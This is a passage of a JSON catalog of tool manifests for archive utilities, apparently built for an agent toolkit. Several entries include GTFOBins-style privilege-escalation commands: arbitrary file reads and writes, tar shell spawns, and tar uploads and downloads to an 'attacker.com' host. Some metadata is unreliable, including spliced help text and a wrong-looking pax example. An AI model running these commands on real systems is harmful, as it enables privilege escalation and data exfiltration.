[
  {
    "_body": "\n# 7z — File Archiver\n\n7z is the command-line version of 7-Zip, a file archiver with a high compression ratio. It supports 7z, XZ, GZIP, TAR, ZIP, and many other archive formats.\n\n## Basic Usage\n\n```bash\n# Create an archive\n7z a archive.7z file1.txt file2.txt\n\n# Extract an archive\n7z x archive.7z\n\n# List archive contents\n7z l archive.7z\n\n# Test archive integrity\n7z t archive.7z\n```\n\n## Privilege Escalation\n\nWhen running with sudo or as SUID, 7z can read arbitrary files by piping through stdout/stdin:\n\n```bash\n7z a -ttar -an -so /path/to/input-file | 7z e -ttar -si -so\n```\n",
    "_source": "7z.md",
    "allowed-tools": [
      "7z",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "system.archive.file",
        "description": "Archive file in 7z format",
        "mime": "application/x-7z-compressed",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.archive.compress",
      "system.archive.decompress"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to the file or archive to operate on"
        }
      ],
      "outputs": [
        {
          "type": "system.archive.file",
          "description": "Resulting archive or extracted file",
          "mime": "application/x-7z-compressed"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "low",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "File archiver with high compression ratio supporting 7z, XZ, GZIP, TAR, ZIP and other formats.",
    "examples": [
      {
        "description": "Read arbitrary file via tar piping through stdout/stdin",
        "command": "7z a -ttar -an -so /path/to/input-file | 7z e -ttar -si -so"
      },
      {
        "description": "Create a 7z archive",
        "command": "7z a archive.7z /path/to/directory"
      },
      {
        "description": "Extract a 7z archive",
        "command": "7z x archive.7z"
      },
      {
        "description": "List contents of an archive",
        "command": "7z l archive.7z"
      }
    ],
    "execution": {
      "template": "7z {a} {ttar} {an} {so}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "encryption",
      "file-system"
    ],
    "global_vars": {
      "target": "path"
    },
    "id": "archive-7z",
    "install": [
      {
        "method": "apt",
        "package_name": "p7zip-full",
        "commands": [
          "apt-get install -y p7zip-full"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "7z",
    "namespace": "archive:compression:7z",
    "parameters": [
      {
        "name": "a",
        "type": "string",
        "required": false,
        "description": "Add to archive",
        "aliases": [
          "a"
        ],
        "flag": "a"
      },
      {
        "name": "e",
        "type": "string",
        "required": false,
        "description": "Extract from archive",
        "aliases": [
          "e"
        ],
        "flag": "e"
      },
      {
        "name": "ttar",
        "type": "string",
        "required": false,
        "description": "Set TAR archive type",
        "aliases": [
          "-ttar"
        ],
        "flag": "-ttar"
      },
      {
        "name": "an",
        "type": "string",
        "required": false,
        "description": "Disable archive name detection",
        "aliases": [
          "-an"
        ],
        "flag": "-an"
      },
      {
        "name": "so",
        "type": "string",
        "required": false,
        "description": "Read data from stdout",
        "aliases": [
          "-so"
        ],
        "flag": "-so"
      },
      {
        "name": "si",
        "type": "string",
        "required": false,
        "description": "Read data from stdin",
        "aliases": [
          "-si"
        ],
        "flag": "-si"
      }
    ],
    "platforms": [
      "linux",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "7-Zip official site",
        "url": "https://www.7-zip.org/"
      }
    ],
    "related_tools": [
      "tar",
      "gzip",
      "zip",
      "unzip"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "high"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "archive-file"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n# ar — GNU Archiver\n\nar creates, modifies, and extracts from archives. When used with sudo or SUID, it can read arbitrary files by adding them to an archive and then printing the contents.\n",
    "_source": "ar.md",
    "allowed-tools": [
      "ar",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "system.archive.file",
        "description": "Archive file in ar format",
        "mime": "application/x-archive",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.archive.compress",
      "system.archive.decompress"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to the file to archive/extract"
        }
      ],
      "outputs": [
        {
          "type": "system.archive.file",
          "description": "Created archive",
          "mime": "application/x-archive"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "GNU archiver that can read and extract files from archives, useful for file read operations.",
    "examples": [
      {
        "description": "Read arbitrary file by inserting it into archive then printing it",
        "command": "ar r /path/to/output-file /path/to/input-file\nar p /path/to/output-file"
      }
    ],
    "execution": {
      "template": "ar {r} {p}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "archive-ar",
    "install": [
      {
        "method": "apt",
        "package_name": "binutils",
        "commands": [
          "apt-get install -y binutils"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "ar",
    "namespace": "archive:compression:ar",
    "parameters": [
      {
        "name": "r",
        "type": "string",
        "required": false,
        "description": "Replace existing or insert new files",
        "aliases": [
          "r"
        ],
        "flag": "r"
      },
      {
        "name": "p",
        "type": "string",
        "required": false,
        "description": "Print file contents",
        "aliases": [
          "p"
        ],
        "flag": "p"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "ar man page",
        "url": "https://man7.org/linux/man-pages/man1/ar.1.html"
      }
    ],
    "related_tools": [
      "tar",
      "cpio"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "archive-file",
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n# arj — ARJ Archiver\n\nARJ is a file archiver with compression. When used with sudo or SUID, it can read arbitrary files by adding them to an archive and printing their contents, and write files by creating and extracting archives.\n",
    "_source": "arj.md",
    "allowed-tools": [
      "arj",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "system.archive.file",
        "description": "ARJ archive file",
        "mime": "application/x-arj",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "system.archive.compress",
      "system.archive.decompress"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to archive"
        }
      ],
      "outputs": [
        {
          "type": "system.archive.file",
          "description": "ARJ archive",
          "mime": "application/x-arj"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "ARJ archiver that can read and write files with elevated privileges.",
    "examples": [
      {
        "description": "Read arbitrary file via archive then print",
        "command": "arj a /path/to/output-file /path/to/input-file\narj p /path/to/output-file"
      },
      {
        "description": "Write arbitrary data via archive creation and extract",
        "command": "echo DATA >output-file\narj a x output-file\narj e x /path/to/output-dir/"
      }
    ],
    "execution": {
      "template": "arj {a} {p} {e}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "archive-arj",
    "install": [
      {
        "method": "apt",
        "package_name": "arj",
        "commands": [
          "apt-get install -y arj"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "arj",
    "namespace": "archive:compression:arj",
    "parameters": [
      {
        "name": "a",
        "type": "string",
        "required": false,
        "description": "Add files to archive",
        "aliases": [
          "a"
        ],
        "flag": "a"
      },
      {
        "name": "p",
        "type": "string",
        "required": false,
        "description": "Print file to stdout",
        "aliases": [
          "p"
        ],
        "flag": "p"
      },
      {
        "name": "e",
        "type": "string",
        "required": false,
        "description": "Extract files from archive",
        "aliases": [
          "e"
        ],
        "flag": "e"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "ARJ documentation",
        "url": "http://arj.sourceforge.net/"
      }
    ],
    "related_tools": [
      "unzip",
      "tar"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "archive-file",
        "file-content",
        "extracted-file"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n# bzip2 — File Compressor\n\nbzip2 compresses files using the Burrows-Wheeler algorithm. When used with sudo or SUID, it can read arbitrary files by compressing them to stdout and then decompressing. Related utilities (bzless, bzcat, bunzip2) also support privileged reads if bzip2 itself is SUID.\n",
    "_source": "bzip2.md",
    "allowed-tools": [
      "bzip2",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "system.archive.file",
        "description": "Bzip2 compressed file",
        "mime": "application/x-bzip2",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.archive.compress",
      "system.archive.decompress"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to compress"
        }
      ],
      "outputs": [
        {
          "type": "system.archive.file",
          "description": "Compressed file",
          "mime": "application/x-bzip2"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "File compression utility using Burrows-Wheeler algorithm that can read files via compression pipeline.",
    "examples": [
      {
        "description": "Read arbitrary file via compression pipeline",
        "command": "bzip2 -c /path/to/input-file | bzip2 -d"
      }
    ],
    "execution": {
      "template": "bzip2 {c} {d}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "archive-bzip2",
    "install": [
      {
        "method": "apt",
        "package_name": "bzip2",
        "commands": [
          "apt-get install -y bzip2"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "bzip2",
    "namespace": "archive:compression:bzip2",
    "parameters": [
      {
        "name": "c",
        "type": "string",
        "required": false,
        "description": "Compress to stdout",
        "aliases": [
          "-c",
          "--stdout"
        ],
        "flag": "-c"
      },
      {
        "name": "d",
        "type": "string",
        "required": false,
        "description": "Decompress",
        "aliases": [
          "-d",
          "--decompress"
        ],
        "flag": "-d"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "bzip2 man page",
        "url": "https://man7.org/linux/man-pages/man1/bzip2.1.html"
      }
    ],
    "related_tools": [
      "bzcat",
      "bzless",
      "bunzip2",
      "gzip"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "compressed-file",
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "gunzip.md",
    "capabilities": [
      "filesystem.compression",
      "filesystem.management",
      "system.commands"
    ],
    "description": "Decompresses gzip-compressed (.gz) files.",
    "examples": [
      {
        "description": "Display help for gunzip",
        "command": "gunzip --help"
      }
    ],
    "execution": {
      "template": "gunzip --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "arc-gunzip",
    "mitre_ids": [],
    "name": "gunzip",
    "namespace": "archive:linux:compression",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "gunzip Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gunzip"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n\n",
    "_source": "pax.md",
    "allowed-tools": [
      "pax",
      "tar",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Portable archive tool, can read and write files.",
    "examples": [
      {
        "description": "Read a file via pax",
        "command": "pax -r -s /path/to/input /path/to/output"
      }
    ],
    "execution": {
      "template": "pax -r -s /path/to/input /path/to/output",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "archive-pax-pax",
    "install": [
      {
        "method": "apt",
        "package_name": "pax",
        "commands": [
          "apt-get install -y pax"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "pax",
    "namespace": "archive:pax:pax",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pax/"
      }
    ],
    "related_tools": [
      "tar",
      "cpio"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# tar\n\ntar is a command-line utility. GNU tape archiver; can read/write files, transfer data, and spawn shells via checkpoint actions Can also download files, read arbitrary files, write to arbitrary files, spawn an interactive shell, upload files.\n",
    "_source": "tar.md",
    "allowed-tools": [
      "tar"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU tape archiver; can read/write files, transfer data, and spawn shells via checkpoint actions Can also download files, read arbitrary files, write to arbitrary files, spawn an interactive shell, upload files.",
    "examples": [
      {
        "description": "Download files",
        "command": "tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh"
      },
      {
        "description": "Read arbitrary files",
        "command": "tar cf /dev/stdout /path/to/input-file -I 'tar xO'"
      },
      {
        "description": "Write to arbitrary files",
        "command": "echo DATA >/path/to/temp-file\ntar cf /path/to/temp-file.tar /path/to/temp-file\ntar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "tar xf /dev/null -I '/bin/sh -c \"/bin/sh 0<&2 1>&2\"'"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "echo '/bin/sh 0<&1' >/path/to/temp-file\ntar cf /path/to/temp-file.tar /path/to/temp-file\ntar xf /path/to/temp-file.tar --to-command /bin/sh"
      },
      {
        "description": "Upload files",
        "command": "tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh"
      }
    ],
    "execution": {
      "template": "tar",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "archive-tar-tar",
    "install": [
      {
        "method": "apt",
        "package_name": "tar",
        "commands": [
          "apt-get install -y tar"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "tar",
    "namespace": "archive:tar:tar",
    "parameters": [
      {
        "name": "absolute-names",
        "template_key": "absolute-names",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't strip leading '/'s from file names",
        "aliases": [
          "-P",
          "--absolute-names"
        ],
        "flag": "-P"
      },
      {
        "name": "acls",
        "template_key": "acls",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable the POSIX ACLs support",
        "aliases": [
          "--acls"
        ],
        "flag": "--acls"
      },
      {
        "name": "add-file",
        "template_key": "add-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "add given FILE to the archive (useful if its name",
        "aliases": [
          "--add-file"
        ],
        "flag": "--add-file"
      },
      {
        "name": "anchored",
        "template_key": "anchored",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "patterns match file name start",
        "aliases": [
          "--anchored"
        ],
        "flag": "--anchored"
      },
      {
        "name": "append",
        "template_key": "append",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "append files to the end of an archive",
        "aliases": [
          "-r",
          "--append"
        ],
        "flag": "-r"
      },
      {
        "name": "atime-preserve",
        "template_key": "atime-preserve",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve access times on dumped files, either",
        "aliases": [
          "--atime-preserve"
        ],
        "flag": "--atime-preserve"
      },
      {
        "name": "auto-compress",
        "template_key": "auto-compress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use archive suffix to determine the compression",
        "aliases": [
          "-a",
          "--auto-compress"
        ],
        "flag": "-a"
      },
      {
        "name": "backup",
        "template_key": "backup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "backup before removal, choose version CONTROL",
        "aliases": [
          "--backup"
        ],
        "flag": "--backup"
      },
      {
        "name": "block-number",
        "template_key": "block-number",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show block number within archive with each message",
        "aliases": [
          "-R",
          "--block-number"
        ],
        "flag": "-R"
      },
      {
        "name": "blocking-factor",
        "template_key": "blocking-factor",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "BLOCKS x 512 bytes per record",
        "aliases": [
          "-b",
          "--blocking-factor"
        ],
        "flag": "-b"
      },
      {
        "name": "bzip2",
        "template_key": "bzip2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through bzip2",
        "aliases": [
          "-j",
          "--bzip2"
        ],
        "flag": "-j"
      },
      {
        "name": "catenate",
        "template_key": "catenate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "append tar files to an archive",
        "aliases": [
          "-A",
          "--catenate",
          "--concatenate"
        ],
        "flag": "-A"
      },
      {
        "name": "check-device",
        "template_key": "check-device",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "check device numbers when creating incremental",
        "aliases": [
          "--check-device"
        ],
        "flag": "--check-device"
      },
      {
        "name": "check-links",
        "template_key": "check-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print a message if not all links are dumped",
        "aliases": [
          "-l",
          "--check-links"
        ],
        "flag": "-l"
      },
      {
        "name": "checkpoint",
        "template_key": "checkpoint",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint --full-time print file time to its full resolution --index-file=FILE send verbose output to FILE",
        "aliases": [
          "--checkpoint"
        ],
        "flag": "--checkpoint"
      },
      {
        "name": "checkpoint_action",
        "type": "boolean",
        "required": false,
        "description": "execute ACTION on each checkpoint",
        "aliases": [
          "--checkpoint-action"
        ],
        "flag": "--checkpoint-action"
      },
      {
        "name": "clamp-mtime",
        "template_key": "clamp-mtime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only set time when the file is more recent than",
        "aliases": [
          "--clamp-mtime"
        ],
        "flag": "--clamp-mtime"
      },
      {
        "name": "compress",
        "template_key": "compress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through compress",
        "aliases": [
          "-Z",
          "--compress",
          "--uncompress"
        ],
        "flag": "-Z"
      },
      {
        "name": "create",
        "template_key": "create",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create a new archive",
        "aliases": [
          "-c",
          "--create"
        ],
        "flag": "-c"
      },
      {
        "name": "delay-directory-restore",
        "template_key": "delay-directory-restore",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delay setting modification times and",
        "aliases": [
          "--delay-directory-restore"
        ],
        "flag": "--delay-directory-restore"
      },
      {
        "name": "delete",
        "template_key": "delete",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete from the archive (not on mag tapes!)",
        "aliases": [
          "--delete"
        ],
        "flag": "--delete"
      },
      {
        "name": "dereference",
        "template_key": "dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow symlinks; archive and dump the files they",
        "aliases": [
          "-h",
          "--dereference"
        ],
        "flag": "-h"
      },
      {
        "name": "diff",
        "template_key": "diff",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find differences between archive and file system",
        "aliases": [
          "-d",
          "--diff",
          "--compare"
        ],
        "flag": "-d"
      },
      {
        "name": "directory",
        "template_key": "directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "change to directory DIR",
        "aliases": [
          "-C",
          "--directory"
        ],
        "flag": "-C"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude files, given as a PATTERN",
        "aliases": [
          "--exclude"
        ],
        "flag": "--exclude"
      },
      {
        "name": "exclude-backups",
        "template_key": "exclude-backups",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude backup and lock files",
        "aliases": [
          "--exclude-backups"
        ],
        "flag": "--exclude-backups"
      },
      {
        "name": "exclude-caches",
        "template_key": "exclude-caches",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude contents of directories containing",
        "aliases": [
          "--exclude-caches"
        ],
        "flag": "--exclude-caches"
      },
      {
        "name": "exclude-caches-all",
        "template_key": "exclude-caches-all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude directories containing CACHEDIR.TAG",
        "aliases": [
          "--exclude-caches-all"
        ],
        "flag": "--exclude-caches-all"
      },
      {
        "name": "exclude-caches-under",
        "template_key": "exclude-caches-under",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "CACHEDIR.TAG --exclude-ignore=FILE read exclude patterns for each directory from FILE, if it exists --exclude-ignore-recursive=FILE read exclude patterns for each directory and its subdirectories from FILE, if it exists --exclude-tag=FILE exclude contents of directories containing FILE, except for FILE itself --exclude-tag-all=FILE exclude directories containing FILE --exclude-tag-under=FILE exclude everything under directories containing FILE --exclude-vcs exclude version control system directories --exclude-vcs-ignores read exclude patterns from the VCS ignore files --no-null disable the effect of the previous --null option --no-recursion avoid descending automatically in directories --no-unquote do not unquote input file or member names --no-verbatim-files-from -T treats file names starting with dash as options (default) --null -T reads null-terminated names; implies --verbatim-files-from --recursion recurse into directories (default)",
        "aliases": [
          "--exclude-caches-under"
        ],
        "flag": "--exclude-caches-under"
      },
      {
        "name": "exclude-from",
        "template_key": "exclude-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "exclude patterns listed in FILE",
        "aliases": [
          "-X",
          "--exclude-from"
        ],
        "flag": "-X"
      },
      {
        "name": "exclude_ignore",
        "type": "boolean",
        "required": false,
        "description": "read exclude patterns for each directory from",
        "aliases": [
          "--exclude-ignore"
        ],
        "flag": "--exclude-ignore"
      },
      {
        "name": "exclude_ignore_recursive",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--exclude-ignore-recursive"
        ],
        "flag": "--exclude-ignore-recursive"
      },
      {
        "name": "exclude_tag",
        "type": "boolean",
        "required": false,
        "description": "exclude contents of directories containing FILE,",
        "aliases": [
          "--exclude-tag"
        ],
        "flag": "--exclude-tag"
      },
      {
        "name": "exclude_tag_all",
        "type": "boolean",
        "required": false,
        "description": "exclude directories containing FILE",
        "aliases": [
          "--exclude-tag-all"
        ],
        "flag": "--exclude-tag-all"
      },
      {
        "name": "exclude_tag_under",
        "type": "boolean",
        "required": false,
        "description": "exclude everything under directories",
        "aliases": [
          "--exclude-tag-under"
        ],
        "flag": "--exclude-tag-under"
      },
      {
        "name": "exclude_vcs",
        "type": "boolean",
        "required": false,
        "description": "exclude version control system directories",
        "aliases": [
          "--exclude-vcs"
        ],
        "flag": "--exclude-vcs"
      },
      {
        "name": "exclude_vcs_ignores",
        "type": "boolean",
        "required": false,
        "description": "read exclude patterns from the VCS ignore files",
        "aliases": [
          "--exclude-vcs-ignores"
        ],
        "flag": "--exclude-vcs-ignores"
      },
      {
        "name": "extract",
        "template_key": "extract",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "extract files from an archive",
        "aliases": [
          "-x",
          "--extract",
          "--get"
        ],
        "flag": "-x"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use archive file or device ARCHIVE",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "files-from",
        "template_key": "files-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "get names to extract or create from FILE",
        "aliases": [
          "-T",
          "--files-from"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "when creating, same as --old-archive; when",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "force-local",
        "template_key": "force-local",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "archive file is local even if it has a colon",
        "aliases": [
          "--force-local"
        ],
        "flag": "--force-local"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create archive of the given format",
        "aliases": [
          "-H",
          "--format"
        ],
        "flag": "-H"
      },
      {
        "name": "format-2",
        "template_key": "format-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-f",
          "-b",
          "--format",
          "--quoting-style",
          "--rmt-command"
        ],
        "flag": "-f"
      },
      {
        "name": "full_time",
        "type": "boolean",
        "required": false,
        "description": "print file time to its full resolution",
        "aliases": [
          "--full-time"
        ],
        "flag": "--full-time"
      },
      {
        "name": "group",
        "template_key": "group",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force NAME as group for added files",
        "aliases": [
          "--group"
        ],
        "flag": "--group"
      },
      {
        "name": "group-map",
        "template_key": "group-map",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "use FILE to map file owner GIDs and names",
        "aliases": [
          "--group-map"
        ],
        "flag": "--group-map"
      },
      {
        "name": "gzip",
        "template_key": "gzip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through gzip",
        "aliases": [
          "-z",
          "--gzip",
          "--gunzip",
          "--ungzip"
        ],
        "flag": "-z"
      },
      {
        "name": "hard-dereference",
        "template_key": "hard-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow hard links; archive and dump the files they",
        "aliases": [
          "--hard-dereference"
        ],
        "flag": "--hard-dereference"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give this help list",
        "aliases": [
          "-?",
          "--help"
        ],
        "flag": "-?"
      },
      {
        "name": "hole-detection",
        "template_key": "hole-detection",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--ignore-failed-read do not exit with nonzero on unreadable files --level=NUMBER dump level for created listed-incremental archive --no-check-device do not check device numbers when creating incremental archives --no-seek archive is not seekable",
        "aliases": [
          "--hole-detection"
        ],
        "flag": "--hole-detection"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore case",
        "aliases": [
          "--ignore-case"
        ],
        "flag": "--ignore-case"
      },
      {
        "name": "ignore-command-error",
        "template_key": "ignore-command-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--no-ignore-command-error treat non-zero exit codes of children as error",
        "aliases": [
          "--ignore-command-error"
        ],
        "flag": "--ignore-command-error"
      },
      {
        "name": "ignore-zeros",
        "template_key": "ignore-zeros",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore zeroed blocks in archive (means EOF)",
        "aliases": [
          "-i",
          "--ignore-zeros"
        ],
        "flag": "-i"
      },
      {
        "name": "ignore_failed_read",
        "type": "boolean",
        "required": false,
        "description": "do not exit with nonzero on unreadable files",
        "aliases": [
          "--ignore-failed-read"
        ],
        "flag": "--ignore-failed-read"
      },
      {
        "name": "incremental",
        "template_key": "incremental",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "handle old GNU-format incremental backup",
        "aliases": [
          "-G",
          "--incremental"
        ],
        "flag": "-G"
      },
      {
        "name": "index_file",
        "type": "boolean",
        "required": false,
        "description": "send verbose output to FILE",
        "aliases": [
          "--index-file"
        ],
